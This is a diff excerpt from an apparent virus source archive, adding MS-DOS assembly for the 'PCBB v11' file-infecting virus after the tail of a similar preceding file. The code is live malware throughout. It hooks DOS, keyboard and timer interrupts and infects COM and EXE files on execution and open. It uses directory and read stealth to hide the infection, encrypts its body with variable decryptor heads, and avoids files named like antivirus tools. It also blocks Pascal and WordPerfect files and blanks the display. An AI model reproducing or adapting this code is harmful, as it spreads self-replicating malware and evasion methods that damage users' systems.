jne vid4 + cmp word pos[0],23 ;2 + + ja vid4 + + mov stat2,1 + + mov ax,pos[0] + mov bx,_bytes + cmp bx,24 + jb vid5 + mov bx,24 +vid5: + sub bx,ax + mov stealth1st[0],bx +vid4: + mov ax,es:[di+11h] + mov dx,es:[di+13h] + sub ax,[header+19h] ;[x_size] + sbb dx,0 + mov val_len[0],ax + mov val_len[2],dx + + mov bx,pos[0] + mov cx,pos[2] + + cmp cx,dx + jbe vid2 + mov _bytes,0 + jmp done_it +vid2: + cmp cx,dx + jne vid3 + cmp bx,ax + jb vid3 + mov _bytes,0 + jmp done_it +vid3: + mov ax,val_len[0] + mov dx,val_len[2] + + mov bx,pos[0] + mov cx,pos[2] + add bx,_bytes + adc cx,0 + + cmp cx,dx + jae vid + mov _bytes,0 + jmp done_it + +vid: + cmp cx,dx + jne done_it + + cmp ax,bx + jae done_it + + sub bx,ax + sub _bytes,bx + +done_it: + pop es:[di+2] ;restore SFT data's + pop es:[di+17h] + pop es:[di+15h] +phocked: + call pop_all + + mov cx,cs:_bytes ;change CX (if of any use) + + ret ;return + + +;³ŻŪßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßŪŽ³ +;³ŻŪ DIR Stealth ŪŽ³ +;³ŻŪÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜŪŽ³ + +stealth_dir_handle: + jc done_stealthing_handle + + pushf + call push_all + + mov ah,2Fh + call int21 + mov ax,word ptr es:[bx+16h] + and al,31 + cmp al,sec + jne done_stealthing_handle + + cmp word es:[bx+1Ah],3*1024 + jc done_stealthing_handle + sub word es:[bx+1Ah],3*1024 + sbb word es:[bx+1Ch],0 + +done_stealthing_handle: + jmp done_stealthing_fcb + +stealth_dir_fcb: + pushf + call push_all + + mov ah,2Fh + call int21 + + cmp byte es:[bx],0FFh ;extended fcb? + jne no_ext_fcb + add bx,7 +no_ext_fcb: + mov al,byte ptr es:[bx+17h] + and al,31 + cmp al,sec + jne done_stealthing_fcb + + cmp word es:[bx+1Dh],3*1024 + jc done_stealthing_fcb + sub word es:[bx+1Dh],3*1024 + sbb word es:[bx+1Fh],0 + +done_stealthing_fcb: + call pop_all + popf + ret + + +reset_i24: push ds + push dx + push ax + lds dx,cs:o24[0] + + mov ax,2524h ;restore int 24 vector + call int21 + pop ax + pop dx + pop ds + ret + +wpbuff db ' ' +;@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ +; Deny access to any PASCAL or WORD PERFECT files +;@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ +PAS_WP: + xchg bx,ax + + mov si,dx + cld +search_pas: + lodsw + dec si + + cmp al,0 + je not_pas + cmp ah,0 + je not_pas + + and ax,0DFDFh + + cmp ax,'P.' and 0DFDFh + jne search_pas + mov ax,word [si+1] + and ax,0DFDFh + cmp ax,'SA' + je fuck_wp +not_pas: + xchg bx,ax + call int21 + jc not_wp + + xchg bx,ax + cmp bx,5 + jb not_wp + + xor si,si + + mov ah,3Fh + mov cx,3 + push cs + pop ds + mov dx,offset wpbuff + call int21 + + jc close_wp + cmp cx,3 + jne close_wp + + cmp word wpbuff[1],'PW' + + jne close_wp + + inc si +close_wp: + mov ah,3Eh + call int21 + cmp si,0 + je not_wp + +fuck_wp: pop si + call reset_i24 + call pop_all + popf + mov ax,4 + stc + retf 2 +not_wp: + mov ah,3Dh + ret + +;@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ +; Anti WiNDOWS Routine +; (Just started... Not at all ready!!!) +;@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ +windows: + ret + +;; call push_all +; xchg cx,ax +; mov di,dx +; push ds +; pop es +; cld +; xor al,al +;winsrc: repnz scasb +; jne win_fail +; +; sub di,8 +; xchg si,di + + +;db 'Elo‹, Elo‹, lam  sabakt ni?' + +dummy db 18h dup(0) ;3 + +version db ver ;\ +size dw (offset total)-100h ; > 6 bytes +db 'PCBB' ;/ + +total: + tsr_para equ ((1024*6)/16) +2 ;equ (($-100h / 16)+2)*2 + + + \ No newline at end of file diff --git a/MSDOS/Virus.MSDOS.Unknown.pcbb.asm b/MSDOS/Virus.MSDOS.Unknown.pcbb.asm new file mode 100644 index 00000000..ec87750b --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.pcbb.asm @@ -0,0 +1,1428 @@ +sec equ 28 +ideal equ 3*1024 ;every file will increase by this ammount of bytes + +; °°°°°°° °°°°°° °°°°°°° °°°°°°° +; °±±±±±±±° °±±±±±±° °±±±±±±±° °±±±±±±±° +; °±²²²²²²²±° °±²²²²²²±° °±²²²²²²²±° °±²²²²²²²±° +; °±²ŪŪŪŪŪŪŪ²±° °±²ŪŪŪŪŪŪ²±° °±²ŪŪŪŪŪŪŪ²±° °±²ŪŪŪŪŪŪŪ²±° +; °±²ŪŪŪŪ²ŪŪŪ²±° °±²ŪŪŪŪ²ŪŪŪ²±° °±²ŪŪŪŪ²ŪŪŪ²±° °±²ŪŪŪŪ²ŪŪŪ²±° +; °±²ŪŪŪŪ²ŪŪŪ²±° °±²ŪŪŪŪ²²²²±° °±²ŪŪŪŪ²ŪŪŪ²±° °±²ŪŪŪŪ²ŪŪŪ²±° +; °±²ŪŪŪŪŪŪŪ²±° °±²ŪŪŪŪ²±±±° °±²ŪŪŪŪŪŪŪ²±° °±²ŪŪŪŪŪŪŪ²±° +; °±²ŪŪŪŪ²²²±° °±²ŪŪŪŪ²²²²±° °±²ŪŪŪŪ²ŪŪŪ²±° °±²ŪŪŪŪ²ŪŪŪ²±° +; °±²ŪŪŪŪ²±±° °±²ŪŪŪŪ²ŪŪŪ²±° °±²ŪŪŪŪ²ŪŪŪ²±° °±²ŪŪŪŪ²ŪŪŪ²±° +; °±²ŪŪŪŪ²±° °±²ŪŪŪŪŪŪ²±° °±²ŪŪŪŪŪŪŪ²±° °±²ŪŪŪŪŪŪŪ²±° +; °±²²²²±° °±²²²²²²±° °±²²²²²²²±° °±²²²²²²²±° +; °±±±±° °±±±±±±° °±±±±±±±° °±±±±±±±° +; °°°° °°°°°° °°°°°°° °°°°°°° +; +Ver equ 11 +; + +cpt1 equ $ ;Checkpoint 1 + +enc_start equ $ +org 100h + call dummyjmp1 + +marker db 0 ;com / exe marker (0=com, 1=exe) + +dummyjmp1: pop bx + + cmp byte [bx],0 + je is_a_com + + mov ax,es + add ax,0 +exe_cpt1 equ $-2 + push ax + mov ax,0 +exe_cpt2 equ $-2 + push ax + + push es + pop ds + jmp cont_install + +is_a_com: + push cs + mov ax,100h + push ax + +cont_install: + push ds + + push cs + pop ds + + call one_three + + mov ax,0C001h + mov bx,ax + add ax,07DFFh + + db 0EBh,01,0EBh + + int 21h + + db 0E9h,1,0,0B8h + + cmp bx,0D00Dh + je startup_fail + + call one_three + +; cmp sp,-10h +; jb startup_fail + + mov ax,es + dec ax + mov es,ax + cmp byte es:[0000h],'Z' + jne startup_fail + + mov ax,es:[0003h] + sub ax,tsr_para + jc startup_fail + + mov es:[0003h],ax + sub word ptr es:[0012h],tsr_para + mov es,es:[0012h] + + call one_three + + call $+3 + +cpt3 equ $ ;Checkpoint 3 + + pop si + sub si,(cpt3-cpt1) + mov bx,si + add si,(cpt4-cpt1) + push cs + push si + + mov si,bx + mov cx,offset total-100h + mov di,100h + push es + rep movsb + mov di,offset init + push di + + retf +cpt4 equ $ ;Checkpoint 4 + +startup_fail: + call $+3 +dummycpt1 equ $-offset marker + sub ax,ax + xor bx,bx + sub cx,cx + xor dx,dx + xor di,di + sub bp,bp + pop si + pop ds + push ds + pop es + cmp byte cs:[si-dummycpt1],1 + je file_is_exe + + mov word [100h],20CDh +rpl1 equ $-2 + mov byte [102h],90h +rpl2 equ $-1 + +file_is_exe: + sub si,si + retf + +cpt2 equ $ ;Checkpoint 2 + +;**************************************************************************** +;* Data Area * +;**************************************************************************** + +;sft equ 005Ch ;3Ah + +ofs_scan_crc equ 0050h ;+3 +ofs_chk_ver equ 0053h ;+1 version number +ofs_chk_size equ 0054h ;+2 version size +ofs_chk_sig equ 0056h ;+4 signature + +header equ 005Ah +ofs_first_3 equ 005Ah ;+3 three first bytes in COM +ofs_time equ 008Dh ;+2 +ofs_date equ 008Fh ;+2 +ofs_attr equ 0091h ;2 + +sft_attr equ 04h ;(byte) +sft_time equ 0Dh ;(word) +sft_date equ 0Fh ;(word) +sft_size equ 11h ;(dword) + +; ;CRC signature added by "SCAN /AV" +;scan_sig db 0f0h,0fdh,0c5h,0aah,0ffh,0f0h + +set_sgm: push cs + push ds + + +f_size dw 0 +bb_stat db 0 +cntr dw 0 +r_cntr dw 0,0 + +;;; DISK S. DATA ;;; +x_first3 db ' ' +x_version db 0 +x_size dw 0 +x_sig db ' ' + +stat db 0 +stat2 db 0 + +handle dw 0 + +_handle dw 0 +;_dx dw 0 +;_ds dw 0 +_bytes dw 0 +val_len dw 0,0 +pos dw 0,0 +pos2 dw 0,0 + +append dw 0 + +stealth1st dw 0 + +;;;DISK S DATA ENDS;;; + +;db 'Only The Good Die Young' + + +jmp_to dw 0 + +push_all: + pop cs:[jmp_to] + push ax + push bx + push cx + push dx + push si + push di + push ds + push es + push bp + jmp cs:[jmp_to] + +pop_all: + pop cs:[jmp_to] + pop bp + pop es + pop ds + pop di + pop si + pop dx + pop cx + pop bx + pop ax + jmp cs:[jmp_to] + + + + + +handle_dir: + popf + call int21 + + pushf + jnc back_handle_dir + +; cmp ax,0 +; jne back_handle_dir + + call stealth_dir_handle + sti +back_handle_dir: + popf + iret + +fcb_dir: + popf + call int21 + + pushf + cmp al,00h + jne back_fcb_dir + + call stealth_dir_fcb + sti +back_fcb_dir: + popf + iret + + + + +;**************************************************************************** +;* Interupt 24 handler * +;**************************************************************************** +ni24: mov al,3 + iret + +;**************************************************************************** +;* Call OLD Interrupt 21 Handler +;**************************************************************************** +int21: + pushf + call dword ptr cs:org21 + ret + +;**************************************************************************** +;* Interupt 21 handler * +;**************************************************************************** +ni21: pushf + +;cmp ah,40h +;je __read + +;jmp no_fcb12 ;no_bogus + + cmp ah,11h + jne no_fcb11 + jmp fcb_dir +no_fcb11: + cmp ah,12h + jne no_fcb12 + jmp fcb_dir +no_fcb12: + +jmp no_bogus + + cmp ah,03Fh + jne no_bogus +__read: jmp _read + +no_bogus: + cmp ah,03Eh + jne body + cmp bx,0C001h + + jne body + mov bx,0D00Dh + popf + stc + retf 2 + +o24 dw 0,0 +o13 dw 0,0 + +body: + call push_all + + push ax + push ds + push dx + push es + push bx + + xor ax,ax + mov es,ax + les bx,es:[24h*4] + + mov cs:o24[0],bx + mov cs:o24[2],es + mov ax,2524h + mov dx,offset ni24 + push cs + pop ds + call int21 + pop bx + pop es + pop dx + pop ds + pop ax + + + cmp ah,3Eh ;close ? + jne vvv + cmp bx,5 + jl exit + + mov ah,45h ;duplicate handle + jmp doit +vvv: cmp ah,56h ;rename ? + je dsdx + cmp ah,43h ;chmod ? + je dsdx + cmp ah,3Dh + jne not_open + + call pas_wp +not_open: + ; cmp ah,3Dh ;open ? + ; je dsdx + cmp ax,4B00h ;execute ? + jne exit + +dsdx: mov ax,3D00h ;open the file +doit: call int21 + jc exit + xchg ax,bx + jmp infect + +exit: + call reset_i24 + +glemmdet: + call pop_all +alfa: + popf + + db 0EAh ;JMP FAR xxxx:xxxx +org21 dw 0,0 + + +avslussen: mov ah,4Ch + int 21h + +one_three: + ret + pushf + push ax + push ds + push dx + + push cs + pop ds + + call $+3 + pop dx + sub dx,($-1)-offset avslussen + push cs + pop ds + + mov ax,2501h + int 21h + inc al + inc al + int 21h + + pop dx + pop ds + pop ax + popf + ret + + +db 'PCBB v11 (c) Hannibal Lechter of Demoralized Youth Norway' + +;**************************************************************************** +;* Try to stealth a HANDLE READ (3Fh) +;**************************************************************************** +_read: + cmp cs:stat,1 + je alfa + mov cs:stat,1 + cmp bx,5 + jl alfa + jcxz alfa + + mov cs:stat2,0 + call read + cmp cs:stat2,0 + je back2 + + popf + pushf + call dword ptr cs:org21 + jc back3 + + pushf + call push_all + + push ds + pop es + push cs + pop ds + + mov bx,pos[0] + mov cx,stealth1st[0] + + mov di,dx + add di,bx + mov si,offset header ;x_first3 + add si,bx + + cld +first_b2: + movsb + dec cx + jcxz first_b1 + inc bx + cmp bx,24 + jl first_b2 +first_b1: + call pop_all + popf +back3: + mov cs:stat,0 + mov cs:stat2,0 + iret +back2: + mov cs:stat,0 + mov cs:stat2,0 + jmp alfa + +;**************************************************************************** +;* Close the file +;**************************************************************************** +close: + push cx + push dx + + mov ax,5701h + mov cx,word cs:[ofs_time] + mov dx,word cs:[ofs_date] + call int21 + +; mov al,byte cs:[ofs_attr] +; mov byte [di+4],al + +; mov ax,4301h +; mov cx,word cs:[ofs_attr] +; call int21 + + pop dx + pop cx + + mov ah,3Eh + call int21 + ret + + +;db 'Now I lay me down to sleep, I pray the lord my soul to keep, If I die before ' +;db 'I wake, I pray the lord my soul to take' + +infect: cld + + mov cs:handle,bx + + mov ax,5700h + int 21h + mov word cs:[ofs_time],cx + mov word cs:[ofs_date],dx + + +;start NOP'ing here... +; push es +; push bx +; +; mov ax,3513h +; int 21h +; +; mov cs:o13[0],bx +; mov cs:o13[2],es +; +; mov ah,13h +; int 2Fh +; push es +; push bx +; int 2Fh +; pop dx +; pop ds +; mov ax,2513h +; int 21h +; +; pop bx +; pop es +; +;stop NOP'ing here... + + mov ax,1220h ;get file-table entry + push bx + push ax + int 2Fh + mov bl,es:[di] + pop ax + sub al,0Ah + int 2Fh + pop bx + + push es + pop ds + + push [di+2] ;save attr & open-mode + push [di+4] + + mov al,[di+4] + mov byte cs:[ofs_attr],al + + cmp word [di+sft_size+2],0 + jne close1v + mov ax,word [di+sft_size] + cmp ah,0F0h + ja close1v + cmp ah,0 + jl close1v + + mov cs:f_size,ax + + cmp word ptr [di+28h],'XE' + jne not_exe + cmp word ptr [di+2Ah],'E' + je check_name + +not_exe: cmp word ptr [di+28h],'OC' + jne close1v ;jne + cmp byte ptr [di+2Ah],'M' +check: je check_name +close1v: jmp close1 + +check_name: cmp byte ptr [di+20h],'V' ;name is V*.* ? + je close1v + cmp byte ptr [di+20h],'F' ;name is F*.* ? + je close1v + + mov cx,7 ;name is *SC*.* ? + mov ax,'CS' + push di + add di,21h + cld +SCloop: dec di + scasw + loopnz SCloop + pop di + je close1v + + mov byte ptr [di+2],2 ;open for read/write + mov byte ptr [di+4],0 ;clear attributes + + cld + jmp read_info +_call1: + jc close2 +; push [di+0Dh] +; push [di+0Fh] + + jmp patch_it +_call0: +; pop [di+0Fh] +; pop [di+0Dh] +close2: + + push es ;close after infection + pop ds + + or byte ptr [di+6],40h ;no time-change + +; pop [di+4] +; pop [di+2] +; push [di+2] +; push [di+4] + +close1: call close ;normal close + + or byte ptr [di+5],40h ;no EOF on next close + pop [di+4] ;restore attribute & open-mode + pop [di+2] + +;start NOP +; lds dx,cs:o13[0] +; mov ax,2513h +; call int21 +;stop NOP + + + jmp exit + +read_info: + push ds + + push ds ;(ds) + pop es + + push cs + pop ds + + mov ah,3Fh + mov cx,18h + mov dx,ofs_first_3 + call int21 + jc failed + cmp al,18h + jne failed + + xchg cx,ax + shr cx,1 + mov si,ofs_first_3 + mov di,offset dummy + +encr_l8b: + lodsw + xor ax,'IF' + xor ax,'HS' + xor ax,'W&' + xor ax,'AH' + xor ax,'EL' + mov [di],ax + inc di + inc di + loop encr_l8b + + mov ax,4202h + mov cx,-1 + mov dx,-10 + call int21 + jc failed + + mov ah,3Fh + mov cx,10 + mov dx,ofs_scan_crc + call int21 + jc failed + cmp al,10 + jne failed + + mov ax,word ptr [ofs_first_3] + not ax + + cmp word ptr [ofs_chk_sig],'CP' ;is word [EOF-4] = 'PC' ? + jne not_infected + cmp word ptr [ofs_chk_sig+2],'BB' ;is word [EOF-2] = 'BB' ? + jne not_infected + jmp failed + +not_infected: + pop ds + clc + jmp _call1 +failed: + pop ds + stc + jmp _call1 + +;db 13,10 +;db "Whoe to you of earth and sea...",13,10 +;db "For the devil sends the beast with wrath,",13,10 +;db "Because he knows the time is short...",13,10 +;db "The people who have understanding,",13,10 +;db "Reckon the number of the beast,",13,10 +;db "Because it is a secret number...",13,10 +;db "It's number is six-hundred and sixty-six!",13,10,36 + +db 'When you are demoralized.... there is NO way out!',13,10,36 + +;³ŻŪßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßŪŽ³ +;³ŻŪ Keyboard (Int 09h) Handler ŪŽ³ +;³ŻŪÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜŪŽ³ +key_rout: + pushf + + inc cs:r_cntr[0] + adc cs:r_cntr[2],0 + + inc cs:cntr + cmp cs:cntr,offset total + jl key_b1 + mov cs:bb_stat,1 + mov cs:cntr,0 +key_b1: + cmp cs:bb_stat,0 + je key_b2 + + push ax + push cx + push dx + push ds + + xor ax,ax + mov ds,ax + mov al,byte ptr [417h] + and al,15 + cmp al,15 + jne key_b3 + + mov cs:bb_stat,0 + + mov dx,3DAh + in al,dx + mov dx,3BAh + in al,dx + mov dx,3C0h + mov al,20h + out dx,al +key_b3: + pop ds + pop dx + pop cx + pop ax +key_b2: + popf + + db 0EAh +old_key dw 0,0 ;old KBD vector + + +;³ŻŪßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßŪŽ³ +;³ŻŪ Timer Tick (Int 1Ch) Handler ŪŽ³ +;³ŻŪÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜŪŽ³ +tmr_rout: + pushf + + cmp cs:bb_stat,0 + je tmr_b1 + + push ax + push dx + + mov dx,3DAh + in al,dx + mov dx,3BAh + in al,dx + mov dx,3C0h + mov al,0 + out dx,al ;0 = off, 32 = on + + pop dx + pop ax +tmr_b1: + popf + db 0EAh + oldh dw 0,0 ;Old TIMER-TICK vector + +enc_data db 011h,009h,00Dh,0E8h,000h,000h,05Eh,081h,0C6h,00Eh,000h,0B9h,000h + db 000h,080h,034h,000h,046h,0E2h,0FAh,013h,009h,00Fh,0E8h,000h,000h + db 05Bh,081h,0C3h,010h,000h,0B9h,000h,000h,033h,0F6h,080h,030h,000h + db 046h,0E2h,0FAh,015h,004h,012h,0E8h,000h,000h,0B9h,000h,000h,089h + db 0E5h,081h,046h,000h,012h,000h,05Eh,046h,080h,074h,0FFh,000h,0E2h + db 0F9h,015h,001h,012h,0B9h,000h,000h,089h,0E5h,0E8h,000h,000h,081h + db 046h,0FEh,00Dh,000h,05Bh,043h,080h,077h,0FFh,000h,0E2h,0F9h,016h + db 001h,013h,0B9h,000h,000h,08Bh,0DCh,0E8h,000h,000h,036h,081h,047h + db 0FEh,00Eh,000h,05Bh,043h,080h,077h,0FFh,000h,0E2h,0F9h,019h,001h + db 016h,0B9h,000h,000h,08Bh,0DCh,0E8h,000h,000h,083h,0EBh,004h,036h + db 081h,047h,002h,011h,000h,05Fh,047h,080h,075h,0FFh,000h,0E2h,0F9h + db 01Dh,009h,014h,0FCh,0EBh,002h,0C6h,006h,0E8h,000h,000h,0B9h,000h + db 000h,05Eh,081h,0C6h,015h,000h,0EBh,001h,0CDh,0B4h,000h,0ACh,032h + db 0C4h,088h,044h,0FFh,0E2h,0F8h + +encr_h_ofs dw 0 +encr_h_cx db 0 +encr_h_xor db 0 +encr_h_len db 0 + +repl0: db 0E8h,0,0 +repl1: jmp near 0100h + +patch_it: + push di + push si + push ds + + push cs + pop ds + + mov marker,0 + + cmp word [ofs_first_3],'MZ' + je exe_calc + cmp word [ofs_first_3],'ZM' + je exe_calc + + mov ax,f_size + sub ax,3 + mov repl0[1],ax + + mov ax,word [ofs_first_3] + mov dl,byte [ofs_first_3+2] + + mov [offset rpl1],ax + mov [offset rpl2],dl + jmp j_encrypt + +oldl0 dw 0 +oldl2 dw 0 + +exe_calc: + mov ax,4202h + xor cx,cx + xor dx,dx + call int21 + + mov oldl0,ax + mov oldl2,dx + + push ax + push dx + + mov ax,word [header+16h] + add ax,10h + mov word [exe_cpt1],ax + mov ax,word [header+14h] + mov word [exe_cpt2],ax + + pop dx + pop ax + push ax + push dx + + add ax,ideal + adc dx,0 + +; mov ax,oldl0 + mov cx,512 + div cx + inc ax + mov word [header+4],ax + mov word [header+2],dx + + pop dx + pop ax + + mov cx,16 + div cx + sub ax,word [header+8] + mov word [header+16h],ax + mov word [header+14h],dx + + mov marker,1 + +j_encrypt: + call encrypt ;encrypt & write + sahf + jc no_write_1st + + mov ax,4200h + xor cx,cx + mov dx,cx + call int21 + + cmp marker,1 + je exe_jump + + mov ah,40h + mov cx,3 + mov dx,offset repl0 ;write "CALL" head + call int21 + jmp alldone + +exe_jump: mov ah,40h + mov cx,18h + mov dx,ofs_first_3 + int 21h +alldone: + and byte cs:[ofs_time],255-31 + or byte cs:[ofs_time],sec +no_write_1st: + pop ds + pop si + pop di + sahf + jmp _call0; ret + +;db 'Blessed is the one who expects nothing, for he shall not be dissapointed$' + +;³ŻŪßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßŪŽ³ +;³ŻŪ Encrypt & Write ŪŽ³ +;³ŻŪÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜŪŽ³ +encrypt: + push ds ;Save DS & ES + push es + + push cs ;DS = ES = CS + push cs + pop ds + pop es + + push bx ;Save BX + + cld + call choose_encryption_head ;Choose encryption head +get_enc_key: + db 0E4h,40h + cmp al,0 + je get_enc_key + + mov bh,0 ;BH = 0 + mov bl,encr_h_xor ;BL = internal XOR-ofs + mov byte [si+bx],al ;b [Si+Bx] = Encr. key + mov bl,encr_h_cx ;BL = internal CX-ofs + mov word [si+bx],offset total-10Ah ;w [Si+Bx] = Encr.length + xchg di,ax ;DI = AX + + pop bx + push bx + + push ax + push di + cld + mov di,offset total + mov cx,2048 + mov al,'' + rep stosb + pop di + + xor ch,ch + mov cl,encr_h_len + add cx,offset total-100h + xchg cx,ax + mov cx,ideal + sub cx,ax + mov ah,40h + mov append,cx + mov dx,offset total + mov word [total],1F0Eh + call int21 + pop ax + + mov ah,40h ;Write to handle + pop bx ;restore handle number + xor ch,ch ;CH = 0 + mov cl,encr_h_len ;CL = Length of de-garbler + mov dx,si ;DX = Offset to de-garbler-head + call int21 ;Call DOS + + lahf ;AH = FLAGS + cmp al,cl ;All bytes written? + je success ;yes, then degarbler written + + sahf ;FLAGS = AH + jnc success ;If no error, then... + stc ;...set CY, and... + ret ;...return. +success: + xchg di,ax ;DI = AX + xchg al,ah ;Exchange AL with AH + mov si,100h ;SourceIndex = 100h + mov di,offset total ;DI = End-Of-Code + mov cx,offset total-11Fh ;Encryption length +encrypt_l: + lodsb ;al = [SI], si: +1 + xor al,ah ;garble byte + stosb ;[DI] = al, di: +1 + loop encrypt_l ;and again.... + + xor cx,cx + mov cl,encr_h_len + add cx,(offset total)-100h + add cx,append + mov size,cx + + mov cx,31 ;the last bytes remain + rep movsb ;degarbeled + + mov ah,40h ;Write to handle + mov cx,offset total-100h ;CX = Bytes + mov dx,offset total ;DX = Garbeled code + call int21 ;Call Dos + clc + lahf + cmp al,cl ;all bytes written? + je encr_b1 + stc + lahf +encr_b1: + pop es ;restore ES & DS + pop ds + sahf + ret ;return + + +;³ŻŪßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßŪŽ³ +;³ŻŪ Choose which encryption-head to use with this generation, and store ŪŽ³ +;³ŻŪ the pointer and the two internal offsets for later use. ŪŽ³ +;³ŻŪÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜŪŽ³ +choose_encryption_head: + mov ah,2Ah ;get date + call int21 ;using DOS + xor ah,ah ;clear bits 9-16 of AX + mov cx,ax ;copy AX into CX + inc cx + and cl,7 + mov si,offset enc_data ;point SI to Enc_Data + + cld ;clear direction flag + +lete_etter_enc: + lodsb ;al=[si] , si=si+1 + add si,ax ;si = si + ax + inc si ;si = si + 1 + inc si ;si = si + 1 + loop lete_etter_enc ;continue the searching ... + +funnet_riktige: + sub si,ax + dec si + dec si + + mov encr_h_len,al + lodsb ;load the CX offset + mov encr_h_cx,al + lodsb ;load the XOR offset + mov encr_h_xor,al + mov encr_h_ofs,si + ret + + +;db 'Eddie lives... Somewhere in time...' + +init: + cli + xor ax,ax + mov ds,ax + mov si,9*4 + mov di,offset old_key + movsw + movsw + add si,(1Ch*4)-(9*4)-4 + mov di,offset oldh + movsw + movsw + add si,(21h*4)-(1Ch*4)-4 + mov di,offset org21 + movsw + movsw + + mov word [09h*4+2],cs + mov word [09h*4], offset key_rout + + mov word [1Ch*4+2],cs + mov word [1Ch*4], offset tmr_rout + + mov word [21h*4+2],cs + mov word [21h*4], offset ni21 + sti + + retf + + +;³ŻŪßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßŪŽ³ +;³ŻŪ Disk Stealth: Read from handle (Int 21h,3Fh) ŪŽ³ +;³ŻŪÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜŪŽ³ +read: + call push_all + + mov cs:_handle,bx + mov cs:_bytes,cx + + push cs + pop ds + + mov ax,1220h + push bx + push ax + int 2Fh + mov bl,es:[di] + pop ax + sub al,0Ah + int 2Fh + pop bx + + cmp word ptr [di+28h],'OC' + jne j_dso1 + cmp byte ptr [di+28h+2],'M' + je j_dso0 +j_dso1: + cmp word ptr [di+28h],'XE' + jne j_dso3 + cmp byte ptr [di+28h+2],'E' + je j_dso0 +j_dso3: + jmp phocked + +j_dso0: + push es:[di+15h] + push es:[di+17h] + push es:[di+2h] + or byte es:[di+2],3 + + mov ax,es:[di+15h] + mov pos[0],ax + mov ax,es:[di+17h] + mov pos[2],ax + + mov ax,es:[di+11h] + mov cx,es:[di+13h] + + sub ax,31 + sbb cx,0 + mov es:[di+15h],ax + mov es:[di+17h],cx + + mov ah,3Fh + mov cx,31 + mov dx,header + call int21 + jnc read_b1 +read_b2: + jmp done_it +read_b1: + cmp al,31 + jne read_b2 + cmp byte [header+18h],11 + jl read_b2 + + cmp word ptr [header+1Bh],'CP' ;[X_sig] + jne read_b2 + cmp word ptr [header+1Bh+2],'BB' ;[X_sig+2] + jne read_b2 + + mov si,header + push cx + mov cx,12 +decr_l8b: + lodsw + xor ax,'EL' + xor ax,'AH' + xor ax,'W&' + xor ax,'HS' + xor ax,'IF' + mov [si-2],ax + loop decr_l8b + pop cx + + cmp word ptr pos[2],0 + + jne vid4 + cmp word pos[0],23 ;2 + + ja vid4 + + mov stat2,1 + + mov ax,pos[0] + mov bx,_bytes + cmp bx,24 + jb vid5 + mov bx,24 +vid5: + sub bx,ax + mov stealth1st[0],bx +vid4: + mov ax,es:[di+11h] + mov dx,es:[di+13h] + sub ax,[header+19h] ;[x_size] + sbb dx,0 + mov val_len[0],ax + mov val_len[2],dx + + mov bx,pos[0] + mov cx,pos[2] + + cmp cx,dx + jbe vid2 + mov _bytes,0 + jmp done_it +vid2: + cmp cx,dx + jne vid3 + cmp bx,ax + jb vid3 + mov _bytes,0 + jmp done_it +vid3: + mov ax,val_len[0] + mov dx,val_len[2] + + mov bx,pos[0] + mov cx,pos[2] + add bx,_bytes + adc cx,0 + + cmp cx,dx + jae vid + mov _bytes,0 + jmp done_it + +vid: + cmp cx,dx + jne done_it + + cmp ax,bx + jae done_it + + sub bx,ax + sub _bytes,bx + +done_it: + pop es:[di+2] ;restore SFT data's + pop es:[di+17h] + pop es:[di+15h] +phocked: + call pop_all + + mov cx,cs:_bytes ;change CX (if of any use) + + ret ;return + + +;³ŻŪßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßŪŽ³ +;³ŻŪ DIR Stealth 